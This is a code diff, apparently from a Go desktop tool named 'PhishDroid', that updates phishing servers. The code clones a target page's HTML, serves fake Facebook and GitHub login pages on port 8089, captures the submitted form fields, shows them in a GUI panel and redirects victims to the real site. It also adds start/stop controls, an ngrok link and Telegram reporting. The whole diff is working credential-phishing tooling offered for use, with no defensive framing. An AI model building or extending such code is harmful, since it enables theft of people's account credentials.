v 0.3

Author: raifpy

cisim.png

@@ -1,13 +1,18 @@
 package main
 
 import (
+	"context"
 	"fmt"
+	"io"
 	"log"
 	"net/http"
+	"net/url"
+	"runtime"
 	"strings"
 
 	"fyne.io/fyne"
 	"fyne.io/fyne/dialog"
+	"fyne.io/fyne/theme"
 	"fyne.io/fyne/widget"
 
 	"github.com/PuerkitoBio/goquery"
@@ -17,45 +22,35 @@ import (
 
 var notiApp fyne.App
 
-func customHTMLwithHTTP(url, serverLink string) map[string]interface{} {
-	httpMap := map[string]interface{}{}
+func httpForCustumHTML(url string) (*http.Response, error) {
 	request, err := http.NewRequest("GET", url, nil)
 	if errHandler.HandlerBool(err) {
-		httpMap["error"] = err
-		return httpMap
+		return nil, err
 	}
 	request.Header.Add("User-Agent", "Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/81.0.4044.138 Safari/537.36")
 	client := http.Client{}
-	response, err := client.Do(request)
-	if errHandler.HandlerBool(err) {
-		httpMap["error"] = err
-		return httpMap
-	}
+	return client.Do(request)
+}
+
+func customHTMLwithHTTP(reader io.Reader, url, serverLink string) map[string]interface{} {
+
+	httpMap := map[string]interface{}{}
 
 	var scripts int
 	var inputValues []string
 
-	doc, err := goquery.NewDocumentFromResponse(response)
-	if errHandler.HandlerBool(err) {
-		httpMap["error"] = err
-		return httpMap
-	}
-	//doc.Append(fmt.Sprintf(`<base href="%s">`, url))
-	doc.AppendHtml(fmt.Sprintf(`<base href="%s">`, url))
+	doc, err := goquery.NewDocumentFromReader(reader)
 
 	doc.Find("script").Each(func(index int, script *goquery.Selection) {
 		log.Println("<script> : ", index)
 		scripts++
 	})
 
-	//inputValues := make([]string, 0)
-
 	doc.Find("input").Each(func(index int, s *goquery.Selection) {
 		if name, ok := s.Attr("name"); ok {
 			log.Println(index, name)
 			inputValues = append(inputValues, name)
 		}
-
 	})
 
 	doc.Find("form").Each(func(index int, f *goquery.Selection) {
@@ -69,21 +64,26 @@ func customHTMLwithHTTP(url, serverLink string) map[string]interface{} {
 
 	httpMap["scripts"] = scripts
 	httpMap["values"] = inputValues
-	httpMap["html"] = html
+	if url != "" {
+		httpMap["html"] = fmt.Sprintf(`<base href="%s">`, url) + "\n" + html
+	} else {
+		httpMap["html"] = html
+	}
 
 	return httpMap
 
 }
 
-func customHTMLServer(win fyne.Window, textGrid *widget.TextGrid, html, redirectURL string, textStream *string) {
+func customHTMLServer(kapat chan bool, win fyne.Window, textGrid *widget.TextGrid, html, redirectURL string, textStream *string) {
 	serve := func(response http.ResponseWriter, request *http.Request) {
+		response.Header().Set("Content-Type", "text/html; charset=UTF-8")
 		*textStream += "New Request\n"
 		textGrid.SetText(*textStream)
 		fmt.Fprintln(response, html)
 		return
 	}
 	serveLogin := func(response http.ResponseWriter, request *http.Request) {
-
+		response.Header().Set("Content-Type", "text/html; charset=UTF-8")
 		request.ParseForm()
 		valueStr := request.Form.Encode()
 		for _, eleman := range strings.Split(valueStr, "&") {
@@ -98,22 +98,92 @@ func customHTMLServer(win fyne.Window, textGrid *widget.TextGrid, html, redirect
 		http.Redirect(response, request, redirectURL, 301)
 	}
 
-	http.HandleFunc("/", serve)
-	http.HandleFunc("/login", serveLogin)
+	/*
+		http.HandleFunc("/", serve)
+		http.HandleFunc("/login", serveLogin)
 
-	err := http.ListenAndServe(":8089", nil)
-	if err != nil {
-		dialog.ShowError(err, win)
+		err := http.ListenAndServe(":8089", nil)
+		if err != nil {
+			dialog.ShowError(err, win)
+
+		}
+	*/
+
+	m := http.NewServeMux()
+	s := http.Server{Addr: ":8089", Handler: m}
+	m.HandleFunc("/", serve)
+	m.HandleFunc("/login", serveLogin)
+
+	go func() {
+		<-kapat
+		s.Shutdown(context.Background())
+		fmt.Println("Server Shutdown")
 
+	}()
+
+	if err := s.ListenAndServe(); errHandler.HandlerBool(err) {
+		if useTelegramBot {
+			tg.send(err.Error())
+		}
+		dialog.ShowError(err, win)
 	}
 
 }
 
-func makeCustomWindow(win fyne.Window, html, serverURL, redirectURL string) {
+func makeCustomWindow(win fyne.Window, uyg fyne.App, html, serverURL, redirectURL string) {
+
+	var stopBool = false
+	stopChan := make(chan bool)
 	var str string
+
+	back := widget.NewButtonWithIcon("Back", theme.NavigateBackIcon(), func() {
+		gui(uyg, win)
+	})
+
 	ngrokText := widget.NewTextGridFromString(serverURL)
 	panel := widget.NewTextGrid()
-	group := widget.NewGroupWithScroller("PhishDroid Custom", ngrokText, cizgi, space, panel)
+	var runStopButton *widget.Button
+	runStopButton = widget.NewButtonWithIcon("Run", theme.MediaPlayIcon(), func() {
+		if stopBool {
+			stopChan <- true
+			stopBool = false
+			back.Enable()
+
+			runStopButton.SetText("Run")
+			runStopButton.SetIcon(theme.MediaPlayIcon())
+
+			runtime.GC()
+			return
+		}
+
+		//go fonksiyon(stopChan, win, textGrid, &textStream)
+		/*ngrokurl, err := getNgrokLinkStable()
+		if err != nil {
+			dialog.ShowError(err, win)
+			return
+		}*/
+
+		ngrokurl := serverURL
+		ngrokText.SetText(ngrokurl)
+
+		urlNgrok, err := url.Parse(ngrokurl)
+		if err != nil {
+			dialog.ShowError(err, win)
+		}
+
+		go customHTMLServer(stopChan, win, panel, html, redirectURL, &str)
+		go uyg.OpenURL(urlNgrok)
+		stopBool = true
+		runStopButton.SetText("Stop")
+		runStopButton.SetIcon(theme.MediaPauseIcon())
+		back.Disable()
+		runtime.GC()
+
+	})
+
+	group := widget.NewGroupWithScroller("PhishDroid Custom", ngrokText, cizgi, runStopButton, back, space, panel)
 	win.SetContent(group)
-	customHTMLServer(win, panel, html, redirectURL, &str)
+
 }
+
+// Farkındayım çorba oldu...

custom.go

@@ -1,12 +1,16 @@
 package main
 
 import (
+	"context"
 	"fmt"
 	"net/http"
 	"regexp"
 	"strings"
 
+	"github.com/raifpy/Go/errHandler"
+
 	"fyne.io/fyne"
+	"fyne.io/fyne/dialog"
 	"fyne.io/fyne/widget"
 )
 
@@ -23,8 +27,8 @@ func isEmailValid(e string) bool {
 
 //
 
-func serveFacebookLogin(win fyne.Window, textGrid *widget.TextGrid, textStream *string) {
-	serverFunc := func(response http.ResponseWriter, request *http.Request) {
+func serveFacebookLogin(kapat chan bool, win fyne.Window, textGrid *widget.TextGrid, textStream *string) {
+	serveFunc := func(response http.ResponseWriter, request *http.Request) {
 		fmt.Fprintln(response, faceLoginHTML)
 	}
 	serveFuncLogin := func(response http.ResponseWriter, request *http.Request) {
@@ -47,8 +51,26 @@ func serveFacebookLogin(win fyne.Window, textGrid *widget.TextGrid, textStream *
 		textGrid.SetText(*textStream)
 		http.Redirect(response, request, "https://facebook.com", 301)
 	}
-	http.HandleFunc("/", serverFunc)
+
+	m := http.NewServeMux()
+	s := http.Server{Addr: ":8089", Handler: m}
+	m.HandleFunc("/", serveFunc)
 	http.HandleFunc("/login", serveFuncLogin)
-	http.ListenAndServe(":8089", nil)
+
+	go func() {
+		<-kapat
+		s.Shutdown(context.Background())
+
+	}()
+	if err := s.ListenAndServe(); errHandler.HandlerBool(err) {
+		if useTelegramBot {
+			tg.send(err.Error())
+		}
+		dialog.ShowError(err, win)
+	}
+
+	//http.HandleFunc("/", serverFunc)
+
+	//http.ListenAndServe(":8089", nil)
 
 }

facebook.go

@@ -1,6 +1,7 @@
 package main
 
 import (
+	"context"
 	"fmt"
 	"log"
 	"net/http"
@@ -11,7 +12,7 @@ import (
 	"github.com/raifpy/Go/errHandler"
 )
 
-func serveGithubLogin(win fyne.Window, textGrid *widget.TextGrid, textStream *string) {
+func serveGithubLogin(kapat chan bool, win fyne.Window, textGrid *widget.TextGrid, textStream *string) {
 	serveFunc := func(response http.ResponseWriter, req *http.Request) {
 		log.Println("Requests -> ", req.Form.Encode())
 		//query := req.URL.Query()
@@ -44,7 +45,24 @@ func serveGithubLogin(win fyne.Window, textGrid *widget.TextGrid, textStream *st
 		fmt.Fprintln(response, githubLogin)
 		return
 	}
-	http.HandleFunc("/", serveFunc)
-	err := http.ListenAndServe(":8089", nil)
-	dialog.ShowError(err, win)
+
+	//http.HandleFunc("/", serveFunc)
+
+	m := http.NewServeMux()
+	s := http.Server{Addr: ":8089", Handler: m}
+	m.HandleFunc("/", serveFunc)
+
+	go func() {
+		<-kapat
+		s.Shutdown(context.Background())
+		fmt.Println("Server Shutdown")
+
+	}()
+
+	if err := s.ListenAndServe(); errHandler.HandlerBool(err) {
+		if useTelegramBot {
+			tg.send(err.Error())
+		}
+		dialog.ShowError(err, win)
+	}
 }